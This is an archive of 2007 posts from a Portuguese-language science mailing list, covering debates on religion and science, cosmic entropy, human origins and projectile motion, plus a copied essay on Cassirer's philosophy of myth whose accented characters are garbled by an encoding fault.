Pois implica exatamente nisso, deixar o sobrenatural de lado ao
analisar, estudar e conhecer o universo. Nenhum cientista digno desse
nome (e mesmo os indignos) coloca um ser sobrenatural,
intencional,voluntarioso (e chiliquento) em suas suposições, estudos e
principalmente experimentos. Nenhum cientista espera que
"deus-das-lacunas" interfira na colisão de partículas, ou na
aceleração gravitacional, enquanto experimenta uma nova teoria.

É exatamente isso, então, que implica conhecer o universo (e não
"criação", pois você tenta embutir o criador imaginário ao usar o termo).

Pessoalmente, pode acreditar na superstição ancestral que desejar,
Jeova, Zeus, Odin, Quetzocoatal, o que for. Cientificamente, para
conhecer o universo, tem de considerar todo ser imaginário
inexistente, inclusive sua superstição preferida, a não ser que
evidências dessa existência possam ser avaliadas e consideradas válidas.

É isso, Renato, você tem alguma evidência concreta, científica, de que
um ser imaginário e sobrenatural exista (não valem "revelações",
livros sagrados, autoridades religiosas e coisas do tipo, e até você
entende porque não)?

Homero



--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> JR: >"... Já se passaram mais de cinco mil anos e ainda não conseguimos
> perceber...<
>
> Léo: E como era a ignorância nos milhões de anos antes desses meros
5000 anos que cita?
>
> JR: > "... ou considerar que não
> há evidências da razão criadora-mantenedora, é uma tentativa de se
iludir,
> fechando os olhos e o intelecto para a realidade constatada a todo
instante. <
>
> Léo: Mostre as evidências científicas e racionais dessa 'razão
criadora-mantenedora' e mostre onde encontramos essa evidência a todo
instante.
>
> JR: >... Procurar conhecer a criação não
> implica necessariamente termos que considerar o Criador inexistente. <
>
> Léo: Mostre evidências de que há ou houve alguma 'criação', sem
considerar o absurdo da existência de um 'Criador'.
>
> Concluindo: Até para ser criacionista e crente vc é ruim demais!
>
> Fim do papo 'Voltaire'. Ele é realmente uma besta exponencial crescente!
>
> []'
>
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@...
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "José Renato" <jrma@...>
> Para: <ciencialist@yahoogrupos.com.br>
> Enviada em: quarta-feira, 18 de julho de 2007 23:51
> Assunto: Fw: [ciencialist] Voltaire
>




SUBJECT: Re: [ciencialist] Voltaire
FROM: "Jeff" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 19/07/2007 11:36

>
> Considerar que somos superiores a tudo, livres para fazer o que quiser
> sem prestar contas a ninguém, plenos conhecedores dos segredos da
> natureza...
>

Existe uma prepotência neste sentido, que chamam de "cientificismo".

Desde quando começamos a ter auto-consciência, nos achamos especiais e até a
razão da existência do universo. Na antiguidade não sabíamos de nada, nem o
que era um vulcão, um terremoto ou um tsunami... Nem que morávamos num
planeta e muito menos o tamanho deste... Achávamos que deveríamos ter o
direito de saber a verdade, mas, na falta de conhecimento, esta então nos
deveria ser revelada! Hoje, um "cientificista" também tem certeza que temos
capacidade de entender o universo, mas via ciência (ou seja, por nós
mesmos). O problema aí está nesta certeza.

>
> ou considerar que não há evidências da razão criadora-mantenedora,
> é uma tentativa de se iludir, fechando os olhos e o intelecto para a
> realidade
> constatada a todo instante. Parece-me uma atitude totalmente irracional.
>

A nossa ignorância NÃO é evidência de que exista uma "força
criadora-mantenedora".

>
> Procurar conhecer a criação não implica necessariamente termos que
> considerar o Criador inexistente. Um mínimo de lucidez se faz necessário
> para não confundirmos idéias e pensamento com a Realidade tenuamente
> percebida.
>

Nós NÃO SABEMOS como tudo começou e pronto! Podemos saber um dia ou nunca! E
daí? Não muda nada... Claro que não nos sentimos bem com isso, mas não
adianta inventarmos uma explicação (porque é interessante, bonita ou
confortável) e tentar prová-la depois, como fazem as religiões. Onde você vê
lógica em começar a raciocinar pela conclusão? O que fazemos (e só o que
podemos fazer), é, via ciência, tentarmos fazer uma "engenharia reversa" pra
tentar entender a realidade, seja ela qual for.

[]´,s
Jeff.



SUBJECT: Re: Entropia: Pequeno paradoxo cosmológico
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/07/2007 12:39

--- Em ciencialist@yahoogrupos.com.br, "rmtakata"
<roberto.takata@...> escreveu

> Mas epa! Equilíbrio térmico significa o máximo estado caótico - a
> maior entropia possível no sistema.

> Chegamos então a um paradoxo em q, de um lado concluímos q o
universo
> em seu estado original estivera em seu estado mínimo de entropia e
de
> outro q estava em seu estado máximo de entropia.


O universo em seu estado inicial, malgrado em equilíbrio térmico
(uniforme), era extremamente quente e denso, e em casos de alta
densidade a força da gravidade entre em cena. Ora, como afirmou Brian
Grene em seu livro de divulgação científica "O Tecido do Cosmo"
(Companhia das Letras, S. Paulo, 2005, pp. 206 e seguintes), "Embora
esse tipo de configuração [mescla gasosa quente e uniforme] tenha
alta entropia quando as densidades são tão baixas que podemos ignorar
a gravidade, a situação é outra quando a gravidade não pode ser
ignorada. Nessas condições, um gás uniforme tem entropia extremamente
baixa". A gravidade faz com que esse gás uniforme (mas
não 'absolutamente' uniforme) de hidrogênio e hélio rapidamente
formem aglomerados, um aqui outro acolá, que depois de certo tempo se
transformam em grandes aglomerados, como os planetas, as estrelas, as
galáxias e os aglomerados de galáxias.

[]s
Manuel Bulcão



SUBJECT: O que aconteceu na noite após o Big Bang?
FROM: Aline Santos <haline_santos@yahoo.com.br>
TO: ciencialist <ciencialist@yahoogrupos.com.br>
DATE: 19/07/2007 14:57

Olá,

Achei interessante este artigo.
http://www.inovacaotecnologica.com.br/noticias/noticia.php?artigo=010130070719

Abraços

Aline


Flickr agora em português. Você cria, todo mundo vê.
http://www.flickr.com.br/

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: In "JC"
FROM: "SILVIO CORDEIRO" <scordeiroes@superig.com.br>
TO: <Undisclosed-Recipient:;>
DATE: 19/07/2007 15:21

Estudo reforça origem única do 'Homo sapiens'

Apenas um pequeno grupo se engajou em cada etapa migratória para longe do "berço da Humanidade", o que reduziu sua diversidade

A análise de milhares de crânios combinada a verificações genéticas demonstrou que os humanos modernos são originários de um local específico na África Subsaariana, enfraquecendo a teoria minoritária das múltiplas origens do Homo sapiens.

A equipe de Andrea Manica, do Departamento de Zoologia da Universidade de Cambridge, avaliou mais de 6 mil crânios de todo o mundo e constatou que a variação de tamanho e formato das peças se reduz à medida que o local de sua descoberta se afasta da África.

O decréscimo é reflexo de que, enquanto a população original era estável e geneticamente variada, apenas um pequeno grupo se engajou em cada etapa migratória para longe do "berço da Humanidade", o que reduziu sua diversidade. Maior variação foi detectada justamente no sudeste africano.

O estudo foi publicado nesta semana na Nature. (Reuters)
(O Estado de SP, 19/7)

Mãe África: Origem de todos os homens modernos remonta ao continente

O homem moderno surgiu na África Subsaariana e grupos de migrantes que deixaram o continente há cerca de 55 mil anos estão na origem dos povos do restante do globo. Esses grupos substituíram as outras espécies humanas que viviam na Europa e na Ásia naquele período. A conclusão é de um novo e amplo estudo publicado na "Nature", que enterra de vez a teoria das origens múltiplas da Humanidade.

Cientistas da Universidade de Cambridge, coordenados por Andrea Manica, confirmaram o modelo "Mãe África" da origem humana num estudo que combinou pistas genéticas com dados físicos obtidos em mais de 6 mil crânios provenientes de diversas partes do mundo. A hipótese da origem comum africana do homem, baseada em estudos genéticos, é a mais aceita atualmente. Mas alguns grupos ainda defendem a idéia de origens em diversos pontos da Terra com base em dados obtidos de crãnios. O novo estudo combinou as duas abordagens na tentativa de chegar a uma conclusão definitiva.

- Estamos bastante convencidos da hipótese "Mãe África" porque a forma com que conduzimos o estudo nos deu uma certeza que não tínhamos antes - afirmou Manica.

- Muitos pesquisadores usaram os dados físicos para argumentar que o humano moderno se originou em diversos pontos do mundo. Combinando os dados genéticos com novas medidas de uma amostra bem maior de crânios demonstramos, definitivamente, que os humanos modernos se originaram numa única área da África Subsaariana.

Não vejo nenhuma outra explicação possível para o que encontramos.

Os estudos do DNA e das diferenças nos crânios revelam que a variação humana diminui quanto maior for a distância da África. Indígenas da Austrália e da América do Sul são os povos que apresentam menor variedade genética e também menos diferenças entre formato e tamanho de crânio. No entanto, as variações genéticas e físicas das pessoas que vivem na África são as maiores do mundo.

'Homo sapiens' surgiu há 200 mil anos
A redução de variação reflete o fato de que, embora a população original africana fosse estável e variada, apenas um pequeno número de pessoas integrou cada leva migratória, reduzindo, dessa forma, a diversidade.

Tanto é assim, dizem os especialistas, que o maior número de variação nos crânios foi observado no sudeste da África, região que costuma ser apontada como o berço da Humanidade.

Os dados confirmam a idéia de que o anatomicamente moderno Homo sapiens surgiu no continente há cerca de 200 mil anos e lá viveu por 150 mil anos antes de dar início a sua longa jornada rumo a Ásia, Austrália, Europa e, finalmente, Américas. Outras espécies humanas, como o Homo erectus e os neandertais, migraram muito antes da África mas todos foram extintos depois da chegada dos humanos modernos às suas áreas.

O estudo indica ainda que o cruzamento entre o Homo sapiens e outras espécies humanas provavelmente não ocorreu. Ou, se ocorreu, não foi numa escala capaz de deixar descendentes vivos.
(O Globo, 19/7)



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SUBJECT: [Off topic] Novos endereços - Divulgação
FROM: Robespierre B. Gonçalves <robespierre.goncalves@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/07/2007 18:17

Prezados,

A pouco tempo eu elogiei o Wordpress aqui na lista, uma vez que o
software deles é muitos bom. Eles, porém, tem um problema: não
permitem propaganda nos blogs (segundo os termos de serviço: gerar
tráfego para terceiros) e nos blogs que eu criei havia centenas de
links de propaganda. Resultado: 5 blogs cancelados e minha conta
também... Isso serve de aviso a que quiser usar o Wordpress.com (não o
Wordpress.org) com esse objetivo. Bem, tive que mudar os blogs para
uma novo lugar, agora no Blogger, com novos endereços:

TechnewsBR: www.technewsbr.com
Chato's Blog: www.piada.net
Receitas Fáceis: www.receitasfaceis.net (o da patroa)

Façam uma visitinha.

[]s
Pierre



SUBJECT: Re: [ciencialist] Jogar uma bola a 100km/h de um carro a 100km/h
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 20/07/2007 00:12

Takata: [ Em havendo uma componente horizontal de aceleração a trajetória
será uma reta. ]
.......................................................

Isso ocorreria *se* a aceleração horizontal atuasse de forma constante
durante todo o movimento da bola. Entretanto o empuxo do vento deslocado
pelo carro não atua de forma permanente e uniforme sobre a bola. Desse modo,
a trajetória traçará uma curva parabólica e não uma reta.
Vc questionou [ Ache algum valor para ax q combinado com o ay = g resulte em
uma trajetória *reta* e não em arco de parábola e aí a gente conversa. ] e
eu lhe lembrei que, anteriormente, já tinha mencionado isso de passagem,
veja: [ A trajetória da bola só descreveria uma reta inclinada 45° *se* a
aceleração horizontal fosse aplicada exatamente igual a gravitacional. ]

[]s

José Renato
..........................................................

From: "rmtakata" <roberto.takata@To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, July 18, 2007 1:31 AM
Subject: [ciencialist] Re: Jogar uma bola a 100km/h de um carro a 100km/h


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> [ A trajetória da bola só descreveria uma reta inclinada 45° *se* a
> aceleração horizontal fosse aplicada exatamente igual a
> gravitacional. ]
>
> Esqueceu também que foi vc quem afirmou que a trajetória da bola
> seria uma reta e não uma curva parabólica... E eu discordei.

Eu não falei em reta de 45º. Em havendo uma componente horizontal de
aceleração a trajetória será uma reta. O grau de inclinação varia de
acordo com a proporção q a componente horizontal representar da
vertical - se forem iguais a inclinação será de 45º.

Q vc discordou é claro. Mas falta vc demonstrar q uma trajetória em
arco de parábola é descrita se houver uma aceleração horizontal além
da vertical.

Ache um ax na simulação q, com ay = g, resulte em uma trajetória de
arco de parábola. Qdo vc achar, aí a gente conversa.

[]s,

Roberto Takata



SUBJECT: Re: Jogar uma bola a 100km/h de um carro a 100km/h
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/07/2007 00:33

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> Isso ocorreria *se* a aceleração horizontal atuasse de forma
> constante durante todo o movimento da bola. Entretanto o empuxo do
> vento deslocado pelo carro não atua de forma permanente e uniforme
> sobre a bola.

Mm um vento q produz aceleração variável não se safa. Entenda q o
cálculo realizado antes mostrava q a velocidade do vento teria q ser
de uns 64 km/h (uma velocidade já absurda para um vento produzido por
uma caminhoneta a 100 km/h). Em uma situação de vento variável esse
seria o valor médio. Se ele se dilui com o tempo, significa q o vento
teria q soprar *ainda* mais rapidamente.

E novamente teríamos um arco de parábola distorcido.

O vento não pode ser um fator importante para a velocidade da bola sob
pena da trajetória ser incompatível.

> eu lhe lembrei que, anteriormente, já tinha mencionado isso de
> passagem, veja: [ A trajetória da bola só descreveria uma reta
> inclinada 45° *se* a aceleração horizontal fosse aplicada exatamente
> igual a gravitacional. ]

O q vc mencionou tem pouco a ver. Não falei q a reta teria 45o de
inclinação, apenas q a trajetória seria reta. E não se trata de modo
algum de uma antecipação ao q eu disse, vc falou isso somente depois q
eu mencionei q trajetória com aceleração horizontal seria uma reta.

Qdo vc achar uma função de ax q seja compatível com a trajetória da
bola a gente conversa.

[]s,

Roberto Takata



SUBJECT: Mito e Ciência
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO:
DATE: 20/07/2007 00:44

FONTE: http://www.hottopos.com/notand11/vladimir.htm#_edn1

*Mito e Religi�o na Filosofia de Cassirer e a Moral Religiosa** [i]
*<http://www.hottopos.com/notand11/vladimir.htm#_edn1>
Vladimir Fernandes

Para se abordar sobre mito e religi�o na filosofia de Ernst Cassirer deve-se
verificar, em primeiro lugar, como o autor concebe a ambos na perspectiva da
sua "Filosofia das Formas Simb�licas". Segundo Cassirer, mito e religi�o s�o
formas simb�licas. E o que vem a ser uma forma simb�lica? Para responder
esta pergunta de forma mais fundamentada � necess�rio retroceder um pouco
at� o ponto de partida da sua filosofia.
1. Ponto de partida da Filosofia das Formas Simb�licas: a "revolu��o
copernicana" de Kant

No segundo volume de sua *Filosofia das Formas Simb�licas*, Cassirer afirma
ter realizado em sua filosofia uma amplia��o da invers�o kantiana. "A
'filosofia das formas simb�licas' adota esta id�ia cr�tica fundamental, este
princ�pio em que se ap�ia a 'invers�o copernicana' de Kant, a fim de
ampli�-lo" (1925a, p.51). [ii]
<http://www.hottopos.com/notand11/vladimir.htm#_edn2>Cassirer concorda com a
"revolu��o copernicana" de Kant, mas v� nela um limite: restringir a esfera
do conhecimento ao f�sico-matem�tico.

Se para Kant a ci�ncia era concebida como um conhecimento universal e
necess�rio, a esfera da objetividade por excel�ncia, em Cassirer a ci�ncia
passa a ser compreendida como um conhecimento simb�lico, uma "constru��o"
simb�lica em meio a outras. Nessa perspectiva, perde seu car�ter universal e
necess�rio e se coloca no mesmo patamar de outros conhecimentos simb�licos,
de outras formas simb�licas. [iii]
<http://www.hottopos.com/notand11/vladimir.htm#_edn3>

Cassirer defende a tese que n�o s� o conhecimento cient�fico � um
conhecimento simb�lico, mas todo conhecimento e toda rela��o do homem com o
mundo se d� no �mbito das diversas "formas simb�licas". E o que Cassirer
entende como uma "forma simb�lica"? Um dos problemas que surge ao estudar
Cassirer � buscar uma defini��o precisa do que ele entende por forma
simb�lica e quais s�o estas. No seu trabalho *Ess�ncia e efeito do conceito
de s�mbolo*, resultado das confer�ncias realizadas em 1921, encontra-se sua
defini��o mais expl�cita:

por "forma simb�lica" h� de entender-se aqui toda a energia do esp�rito em
cuja virtude um conte�do espiritual de significado � vinculado a um signo
sens�vel concreto e lhe � atribu�do interiormente. Neste sentido, a
linguagem, o mundo m�tico-religioso e a arte se nos apresentam como outras
tantas formas simb�licas particulares. (1956, p.163)

Para Cassirer, *energia espiritual* (*Energie des Geistes*) deve ser
compreendida como aquilo que o sujeito efetua espontaneamente, ou seja, o
sujeito n�o recebe passivamente as sensa��es exteriores, mas sim as enla�a
com signos sens�veis significativos. Da� que toda rela��o do homem com a
"realidade" n�o � imediata, mas mediata atrav�s das v�rias constru��es
simb�licas. A produ��o do simb�lico, n�o somente a linguagem, � espont�nea,
todavia � tamb�m condi��o imprescind�vel para capta��o do sens�vel. Segundo
Cassirer, esses signos ou imagens n�o devem ser vistos como um obst�culo,
mas sim como a condi��o que possibilita a rela��o do homem com o mundo, do
espiritual com o sens�vel. Atrav�s de signos e imagens pode-se "fixar"
determinados pontos do fluxo temporal das experi�ncias. (1956, p.164)

O ser humano n�o tem um papel passivo de apenas receber as impress�es
sens�veis se conformando a elas, mas antes s�o estas que s�o conformadas
pelas faculdades humanas. Atrav�s da capacidade de produzir imagens e signos
o homem consegue determinar e fixar o particular na sua consci�ncia, em meio
� sucess�o de fen�menos que se seguem no tempo. Os conte�dos sens�veis n�o
s�o apenas recebidos pela consci�ncia, mas antes s�o engendrados e
transformados em conte�dos simb�licos. (1956, p.165)

Segundo Cassirer, o material sens�vel � o ponto de partida comum das
distintas formas simb�licas a partir do qual v�o transformar a mera
express�o sens�vel num conte�do significativo dotado de sentido simb�lico.
Cada forma simb�lica configura os conte�dos sens�veis na sua forma
particular e espec�fica. Ao se designar um algo exterior por meio de um
signo sonoro se diferencia e se fixa um sentido determinado a um objeto
espec�fico. O signo sonoro n�o � apenas uma express�o da diversidade do
exterior, mas sim a pr�pria condi��o de possibilidade da organiza��o interna
das representa��es. Cassirer afirma explicitamente como formas simb�licas o
mito, a linguagem, a religi�o, a arte e a ci�ncia. [iv]
<http://www.hottopos.com/notand11/vladimir.htm#_edn4>
2. Classifica��o das formas simb�licas

Para Cassirer, em toda forma simb�lica h� uma rela��o entre o signo e o
significado, mas essa rela��o n�o se d� da mesma maneira entre as formas
simb�licas, mas sim numa tripla gradua��o: expressividade, representa��o e
significado. Vejamos cada uma delas. a) A rela��o de expressividade � t�pica
do mito. Nessa rela��o, h� uma identidade entre o signo e o significado. O
signo se confunde com o significado, ambos est�o fundidos. Os s�mbolos n�o
representam a coisa, mas se confundem com ela; o nome, a imagem, toma o
lugar e os atributos da pr�pria coisa que designa. Esse fato est� na base da
experi�ncia m�gica com o mundo. b) A rela��o de representa��o �
caracter�stica da linguagem. H� uma separa��o entre o signo e o significado.
O nome est� no lugar da coisa de forma convencional e serve para
represent�-la. c) J� a rela��o de significado � t�pica da ci�ncia. H� uma
independ�ncia entre o signo e o significado. Embora na rela��o de
significado se utilize signos, estes n�o permitem uma retradu��o em termos
de elementos sens�veis. Existe uma autonomia do signo em rela��o ao mundo
sens�vel; os signos se tornam uma esp�cie de "fic��es".

Os tr�s tipos b�sicos de rela��o entre o signo e o significado estabelecidos
por Cassirer resolvem o problema de se classificar tr�s formas simb�licas
que ele aborda explicitamente. A rela��o de expressividade � t�pica do mito,
a de representa��o � t�pica da linguagem e a de significado, da ci�ncia. J�
com respeito � religi�o e � arte, com base nas afirma��es de Cassirer,
pode-se tentar posicion�-las nessa rela��o. A religi�o aproxima-se mais da
rela��o de representa��o, j� que um dos aspectos que a diferencia do mito �
justamente n�o tomar os signos e imagens como dotados de poderes da pr�pria
coisa, mas sim como formas convencionais de representa��o. Quanto � arte,
levando-se em conta a influ�ncia da teoria est�tica de Goethe na teoria de
Cassirer, [v] <http://www.hottopos.com/notand11/vladimir.htm#_edn5>dependendo
do tipo de rela��o que estabelece com seu objeto, ir� corresponder a uma das
tr�s etapas assinaladas. Com rela��o �s outras formas simb�licas, as quais
Cassirer n�o afirma explicitamente como tais, caberia como poss�vel solu��o
tomar como par�metro as tr�s etapas estabelecidas e a partir da� verificar,
de acordo com o car�ter mais preponderante em cada uma delas, qual posi��o �
mais pr�xima de cada forma simb�lica. [vi]
<http://www.hottopos.com/notand11/vladimir.htm#_edn6>
3 Caracter�sticas da produ��o simb�lica

Retomando, em linhas gerais, o percurso desenvolvido at� ent�o, Cassirer
parte da "revolu��o copernicana" de Kant, ou seja, da tese epistemol�gica
que afirma que n�o s�o os sujeitos que se conformam aos objetos, mas que s�o
estes que se conformam �s faculdades do sujeito. Por�m, Cassirer n�o aceita
a limita��o da objetividade � esfera da ci�ncia. Argumenta ele que a
ci�ncia, enquanto uma produ��o espont�nea do sujeito, � apenas uma forma de
objetiva��o em meio a outras. Assim, para Cassirer, a ci�ncia n�o �
concebida como uma forma de conhecimento privilegiada, que estaria acima de
outras, mas sim no mesmo patamar de outras formas de objetiva��o produzidas
pelos sujeitos. A ci�ncia, juntamente com essas outras formas de
objetiva��o, Cassirer denomina como formas simb�licas. Para ficar mais
claro, pode-se resumir as principais caracter�sticas de uma forma simb�lica
como: 1) S�o constru��es simb�licas realizadas pelos sujeitos, ou seja,
conforme j� foi visto, toda rela��o dos sujeitos com o mundo se d� no �mbito
simb�lico. Da� que uma forma simb�lica � uma constru��o simb�lica espont�nea
efetuada pelos sujeitos. 2) T�m em comum o fato de serem todas produ��es
simb�licas, isto �, todas possuem uma origem simb�lica comum e um modo de
significa��o embasado nos mesmos pressupostos. 3) A diferen�a reside no fato
de cada uma construir sua pr�pria "realidade" de forma espec�fica, ou seja,
n�o existe uma "realidade" que seja interpretada de diferentes formas, mas
sim uma "realidade" que � constru�da de formas diferentes, com diferentes
perspectivas e valores. 4) Portanto, s�o irredut�veis umas �s outras, isto
�, cada forma simb�lica constr�i sua pr�pria realidade de modo particular,
n�o se coincidindo e, portanto, n�o se confundindo uma com outra. 5) S�o
criadoras de totalidade ordenada, ou seja, cada uma cria seu pr�prio cosmos
explicativo para suas interroga��es. 6) Cada qual pretende possuir validade
universal, isto �, essas totalidades ordenadas n�o se concebem como uma
forma de interpreta��o em meio a outras, mas sim como a �nica v�lida. 7) Das
caracter�sticas 3, 4, 5 e 6 resultam as antinomias da cultura. Como cada
forma simb�lica n�o se concebe a si mesma como apenas uma forma particular
em meio a outras, mas sim almejam uma validade universal, isso leva ao
permanente conflito entre as formas simb�licas. Cada uma quer se afirmar
como a �nica verdadeira e para isso deve combater as demais.

Assim, a conclus�o geral desse item, at� ent�o, � que as diferentes formas
simb�licas n�o convivem de forma harm�nica; pelo contr�rio, j� que s�o
vis�es totalizantes da realidade, cabe a cada uma se intitular como a �nica
verdadeira e para isso deve combater as demais. Mas para Cassirer as formas
simb�licas n�o podem se julgar umas �s outras, j� que todas, enquanto
constru��es simb�licas, t�m o mesmo grau de validade. Cassirer tamb�m alerta
que a reflex�o filos�fica poderia escapar de uma posi��o restrita semelhante
se conseguisse encontrar uma vis�o de conjunto que possibilitasse abarcar
todas as formas simb�licas nas suas rela��es imanentes entre si.
4. Caracter�sticas do pensamento m�tico

Os mitos resultam das experi�ncias coletivas dos homens, que n�o se
reconhecem como produtores desses mitos, j� que n�o t�m consci�ncia da
proje��o do seu eu subjetivo para os elementos do mundo. Segundo Cassirer,
os "mitos" constru�dos por indiv�duos, como por exemplo os "mitos
plat�nicos" , n�o podem ser considerados mitos genu�nos. Em Plat�o, os
"mitos" foram elaborados de forma livre, com finalidades �ticas e
pedag�gicas definidas. Plat�o n�o estava submetido ao seu poder. J� o mito
verdadeiro n�o se reconhece a si mesmo como uma imagem ou met�fora; a sua
imagem � a pr�pria realidade. As emo��es expressas s�o transformadas em
imagens e essas imagens s�o a interpreta��o do mundo exterior e interior. Ou
seja, "...com o mito o homem come�a a aprender uma nova e estranha arte: a
arte de exprimir, e isso significa organizar, os seus instintos mais
profundamente enraizados, as suas esperan�as e temores." (1946, p.64) Por
isso, o pensamento m�tico n�o deve ser compreendido como mera ilus�o ou
patologia, mas sim como uma forma de objetiva��o da realidade mais prim�ria
e de car�ter espec�fico. Vejamos ent�o quais s�o as caracter�sticas dos
princ�pios fundamentais do pensamento m�tico, do ponto de vista
cassireriano: 1) a rela��o signo significado; 2) a rela��o de semelhan�a e
3) a rela��o parte pelo todo.

4.1 A rela��o signo significado

O mito, como as demais formas simb�licas, constr�i espontaneamente sua
realidade, mas ocorre que o mito n�o toma consci�ncia da sua pr�pria
atividade espiritual criativa. Ou seja, a produ��o m�tica � uma esp�cie de
"fic��o inconsciente", pois se trata de uma produ��o espont�nea, mas sem
consci�ncia da sua autoria. Conforme foi exposto anteriormente, o elemento
comum entre as formas simb�licas, al�m da sua origem espiritual, � que em
todas h� uma rela��o entre o signo e o significado. J� a diferen�a reside na
forma em que se d� essa rela��o em cada uma dessas formas, no mito, na
linguagem e na ci�ncia. No mito, a rela��o entre signo e significado � de
identidade, na linguagem � de representa��o e na ci�ncia de independ�ncia. O
pensamento m�tico n�o diferencia nem o signo do significado, nem a imagem da
coisa. Para o pensamento m�tico, a palavra n�o � um mero signo convencional
e abstrato que est� no lugar da coisa, mas antes est� indissoci�vel com ela.
Existe uma identidade entre a palavra que designa e a pr�pria coisa
designada; a palavra � tomada como a pr�pria coisa. Mesmo no campo
subjetivo, o homem m�tico identifica seu nome com seu pr�prio ser. Proferir
o nome de algu�m, mesmo depois de morto, significa invoc�-lo, torn�-lo
presente. A mesma analogia vale para a imagem. "A 'imagem' n�o representa a
'coisa'; *�* a coisa; n�o s� a representa sen�o que opera como ela
substituindo em seu imediato presente" (1925a, p.23).

Essa n�o-separa��o entre imagem e coisa, caracter�stica do pensamento
m�tico, explica tamb�m casos de transubstancia��o, quando o sacerdote
representa um deus ou dem�nio em ritual. Na realidade, para o pensamento
m�tico, o sacerdote n�o est� simplesmente representando essas entidades, mas
se converte de fato nelas, se transubstancia na mesma pot�ncia que mimetiza.
O pensamento m�tico n�o diferencia de forma r�gida, sono de vig�lia e vida
de morte, j� que mesmo a morte n�o impede a conviv�ncia com o morto atrav�s
da viv�ncia do sonho, dos sentimentos de amor, medo etc. A morte � vista
apenas como uma transforma��o, assim como o nascimento como um retorno. Tal
fato explica porque os cultos aos mortos s�o realizados com oferendas de
comida, vestu�rios, utens�lios etc., porque se cr� que o morto continua
"vivendo" e necessitando dos mesmos meios f�sicos para sua conserva��o.
(1925a, p.61)

4.2 A rela��o de semelhan�a

Da mesma forma que o pensamento m�tico n�o separa signo de significado e
imagem de coisa, tamb�m n�o o faz em rela��o � semelhan�a externa
superficial e � ess�ncia da coisa. Para esse tipo de pensamento qualquer
semelhan�a externa superficial j� � suficiente para agrupar coisas
diferentes num mesmo g�nero. O pensamento m�tico coloca um sinal de igual
entre semelhan�a externa e ess�ncia, "porque para o mito essa mesma
igualdade ou semelhan�as percept�veis s�o a express�o imediata de uma
identidade de *ess�ncia*" (1925a, p.98). A semelhan�a nunca � vista como
algo puramente indicativo de algo n�o presente, mas pelo contr�rio, algo
semelhante � a pr�pria coisa. Cassirer exemplifica que para o pensamento
m�tico, por exemplo, a fuma�a do cachimbo n�o � "s�mbolo" de nuvem, mas � a
pr�pria nuvem e como tal tem o poder de fazer chover. N�o existe nada que
seja simplesmente m�mico. A representa��o m�mica torna poss�vel apropriar-se
da coisa que mimetiza; ambas fazem parte de uma mesma unidade. De modo
an�logo, o pensamento m�tico pode denominar coisas diferentes com um mesmo
nome, tendo por base uma semelhan�a externa. Todas as coisas que possuem o
mesmo nome tendem a ser apresentadas como semelhantes. Por exemplo, se o
pensamento m�tico-m�gico atribui � imagem do rel�mpago uma forma
'serpenteante' tal fato converte o rel�mpago tamb�m numa serpente. E se o
sol � denominado como 'o celestial voador' ele tamb�m pode ser designado
como uma flecha ou p�ssaro, j� que o enfoque aqui est� na sua caracter�stica
de "voar"; isso explica porque os eg�pcios representaram o sol como uma
cabe�a de falc�o (1925b, p.116). As designa��es para o pensamento m�tico n�o
se encontram numa esfera 'abstrata' mas, pelo contr�rio, cada denomina��o
converte-se numa presen�a real.
4.3 A parte pelo todo

Outro elemento caracter�stico fundamental do pensamento m�tico � a
n�o-separa��o das partes do todo. A totalidade � indivisa, n�o h� separa��o
entre seus elementos. O todo � um. Essa vis�o � v�lida tanto na sua
percep��o objetiva quanto para seus sentimentos subjetivos. O todo se
explica pelas partes e a parte pelo todo. E esse todo � dotado com os mesmos
sentimentos subjetivos dos sujeitos m�ticos, o que lhe confere um car�ter
dram�tico, j� que toda a natureza e seus elementos fazem parte de uma
constante luta entre as for�as do bem e do mal. Como n�o h� separa��o entre
as partes e o todo, ambos possuem o mesmo valor, j� que s�o vistos como uma
mesma coisa. Dessa forma, a posse de uma parte implica poder sobre o todo
correspondente. Por exemplo, para o pensamento m�tico, algu�m que possua uma
parte do corpo de outra pessoa, como fios de cabelo, saliva, unhas, seu nome
etc., adquire poder m�gico sobre esse homem. Esse tipo de rela��o entre a
parte e o todo tem um car�ter substancial concreto, o que se faz a uma parte
� repassada para outra, para o todo (1925a, p.78). Essa forma de pensar �
que d� sustenta��o �s pr�ticas m�gicas, pois se acredita que h� uma rela��o
causal entre todos os fen�menos, independentes de sua espacialidade ou mesmo
de sua temporalidade. Ou seja, para o pensamento m�tico-m�gico "n�o existe
em rigor limites determinados que separem os momentos de tempo, assim como
t�o pouco existem limites para as partes de um conjunto espacial" (1925a,
p.81). Assim, como n�o h� distin��o espacial ou temporal, quem possui as
partes de um corpo de outro homem, mesmo que estas estejam separadas dele
local e temporalmente, possui poder m�gico sobre ele. Mesmo os atributos
"morais" ou "espirituais" s�o entendidos nessa perspectiva da parte pelo
todo. Tal fato � que d� sustenta��o aos ritos expiat�rios, por exemplo,
quando um miasma, uma contamina��o que atinge a tribo inteira pode ser
transmitida atrav�s de ritos para um �nico indiv�duo, ou um animal e ser
eliminada atrav�s do sacrif�cio desse novo portador do miasma (1925a, p.84).
5 Rito e Mito

Segundo Cassirer, em *O Mito do Estado*, embora exista uma diversidade de
manifesta��es m�ticas entre os mais diferentes povos e culturas, devemos
procurar pelo seu elemento comum, aquele que permite uma 'unidade na
diversidade'.

Os sujeitos do mito e os atos rituais s�o de uma infinita variedade; na
verdade s�o incalcul�veis e insond�veis. Mas os motivos do pensamento m�tico
e da imagina��o m�tica s�o, em certo sentido, sempre os mesmos. Em todas as
atividades e em todas as formas de cultura humana encontramos uma "unidade
na diversidade".(1946, p.53)

